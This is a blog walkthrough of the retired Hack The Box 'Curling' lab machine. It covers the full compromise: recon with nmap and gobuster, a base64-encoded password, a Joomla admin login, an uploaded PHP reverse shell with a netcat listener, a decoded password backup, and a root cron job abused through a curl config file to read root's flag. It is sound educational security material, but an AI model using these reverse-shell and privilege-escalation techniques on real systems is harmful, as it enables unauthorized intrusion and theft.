/var/log $ cat "Hack The Box - Curling Walkthrough"

2019-03-30 |
hackthebox ctf 

tl;dr

  1. Find the username and password for the Joomla! website
  1. Login to Joomla! admin panel and upload a web shell to gain access as ‘www-data’
  2. Extract the password backup file in homedir of user ‘floris’ to get the user’s password
  3. Login as ‘floris’ and get the user flag
  4. Find the command which is executed as ‘root’ periodically
  5. Modify the command to get the root flag

Tools used: nmap, gobuster, web browser, Joomla! eXtplorer plugin, netcat, pentestmonkey’s php-reverse-shell, base64, xxd, file, bzip2, gzip, tar, pspy, curl

Machine Info

Curling Machine Info

Initial Recon

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ nmap -p- -sV 10.10.10.150
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-02 16:37 CET
Nmap scan report for 10.10.10.150
Host is up (0.029s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.08 seconds

Own User

Open 10.10.10.150 in a browser to see:

Cewl Curling site!

A quick gobuster run reveals some more directories. A Joomla! admin area can be access under http:⁄⁄10.10.10.150/administrator:

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ gobuster -e -w /$ usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.10.150

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.150/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Expanded     : true
[+] Timeout      : 10s
=====================================================
2019/03/30 10:53:38 Starting gobuster
=====================================================
http://10.10.10.150/images (Status: 301)
http://10.10.10.150/media (Status: 301)
http://10.10.10.150/templates (Status: 301)
http://10.10.10.150/modules (Status: 301)
http://10.10.10.150/bin (Status: 301)
http://10.10.10.150/plugins (Status: 301)
http://10.10.10.150/includes (Status: 301)
http://10.10.10.150/language (Status: 301)
http://10.10.10.150/components (Status: 301)
http://10.10.10.150/cache (Status: 301)
http://10.10.10.150/libraries (Status: 301)
http://10.10.10.150/tmp (Status: 301)
http://10.10.10.150/layouts (Status: 301)
http://10.10.10.150/administrator (Status: 301)
http://10.10.10.150/cli (Status: 301)
=====================================================
2019/03/30 10:57:41 Finished
=====================================================

Joomla! Web Admin

Examine the HTML source to find something interesting at the end of it:

Hint to ‘secret.txt’

0
1
2
3
<--- snip --->
</body>
      <!-- secret.txt -->
</html>

Opening http:⁄⁄10.10.10.150/secret.txt:

secret.txt

0
Q3VybGluZzIwMTgh

As it looks like base64, decoding it as such results in ‘Curling2018!’:

0
1
$ curl -s http://10.10.10.150/secret.txt | base64 -d
Curling2018!

When looking through the website you’ll find the name ‘Floris’ in ‘My first post of curling in 2018!’:

1st post of 2018

Log in to the Joomla! admin panel (http:⁄⁄10.10.10.150/administrator) with credentials Floris:Curling2018!:

Joomla! Login

Install the Joomla! extension eXtplorer for ease of use:

Install eXtplorer

Upload a reverse shell (I used pentestmonkey’s php-reverse-shell):

Uploading a reverse shell script

Start a listener and execute the reverse shell script (in my case by opening http:⁄⁄10.10.10.150/tmp/php-reverse-shell.php) to get access as user ‘www-data’. Accessing the user flag gives permission denied, but other interesting home dir content of user ‘floris’ is accessible.

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
root@kali:~$ nc -nlvp 4242
listening on [any] 4242 ...
connect to [10.10.13.197] from (UNKNOWN) [10.10.10.150] 50994
Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 10:11:16 up 21 min,  5 users,  load average: 1.31, 0.68, 0.43
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
floris   pts/0    10.10.14.125     09:51    7:40   0.29s  0.00s man curl
floris   pts/1    10.10.16.115     09:51    5:22   0.24s  0.11s python3
floris   pts/3    10.10.13.68      09:54    2.00s  0.22s  0.22s -bash
floris   pts/5    10.10.15.26      09:57   12.00s  0.18s  0.18s -bash
floris   pts/6    10.10.15.185     10:10    6.00s  0.11s  0.05s python3 -c import pty;pty.spawn("/bin/bash");
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: cant access tty; job control turned off
$ ls /home
floris
$ ls -lsa /home/floris
total 72
 4 drwxr-xr-x 7 floris floris 4096 Mar 30 10:07 .
 4 drwxr-xr-x 3 root   root   4096 May 22  2018 ..
 0 lrwxrwxrwx 1 root   root      9 May 22  2018 .bash_history -> /dev/null
 4 -rw-r--r-- 1 floris floris  220 Apr  4  2018 .bash_logout
 4 -rw-r--r-- 1 floris floris 3771 Apr  4  2018 .bashrc
 4 drwx------ 2 floris floris 4096 May 22  2018 .cache
 4 drwx------ 3 floris floris 4096 Mar 30 09:58 .config
 4 drwx------ 3 floris floris 4096 May 22  2018 .gnupg
 4 drwxrwxr-x 3 floris floris 4096 May 22  2018 .local
 4 -rw-r--r-- 1 floris floris  807 Apr  4  2018 .profile
 4 -rw------- 1 floris floris  241 Mar 30 10:04 .python_history
 8 -rw------- 1 floris floris 6578 Mar 30 10:07 .viminfo
 4 drwxr-x--- 2 root   floris 4096 May 22  2018 admin-area
12 -rw-rw-r-- 1 floris floris 8456 Mar 30 10:07 bhnet.py
 4 -rw-r--r-- 1 floris floris 1076 May 22  2018 password_backup
 4 -rw-r----- 1 floris floris   33 May 22  2018 user.txt
$

Download ‘password_backup’ to your local machine. Having a look at it shows a hexdump:

Content of &lsquo;password_backup&rsquo;

Reverse the hexdump to find a bzip2-gzip-bzip2-tar archive containing a file called ‘password.txt’:

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
$ xxd -r password_backup password_backup_r
$ file password_backup_r
password_backup_r: bzip2 compressed data, block size = 900k
$ bunzip2 password_backup_r
bunzip2: Cant guess original name for password_backup_r -- using password_backup_r.out
$ file password_backup_r.out
password_backup_r.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size 141
$ mv password_backup_r.out password.gz
$ gunzip password.gz
$ file password
password: bzip2 compressed data, block size = 900k
$ bunzip2 password
bunzip2: Cant guess original name for password -- using password.out
$ file password.out
password.out: POSIX tar archive (GNU)
$ tar -xf password.out
$ cat password.txt
5d<wdCbdZu)|hChXll

su floris in the reverse shell or ssh floris@10.10.10.150 using ‘5d<wdCbdZu)|hChXll’ as password.

Get the user flag with cat /home/floris/user.txt:

0
65dd********censored********530b

Own root

  1. Find in /home/floris a directory named admin-area containing two files: input and report.
  2. Observing those two files to find them updated every minute.
  3. Running pspy to find curl -K input ... getting executed as ‘root’ every minute.
  4. Modify /home/floris/admin-area/input to use curl to get the content of root.txt with echo 'url = "file:///root/root.txt"' > input.
  5. Wait a minute.
  6. Now cat /home/floris/admin-area/report to get the root flag (within the next minute, otherwise the modification of input will be reverted):
0
82c1********censored********064a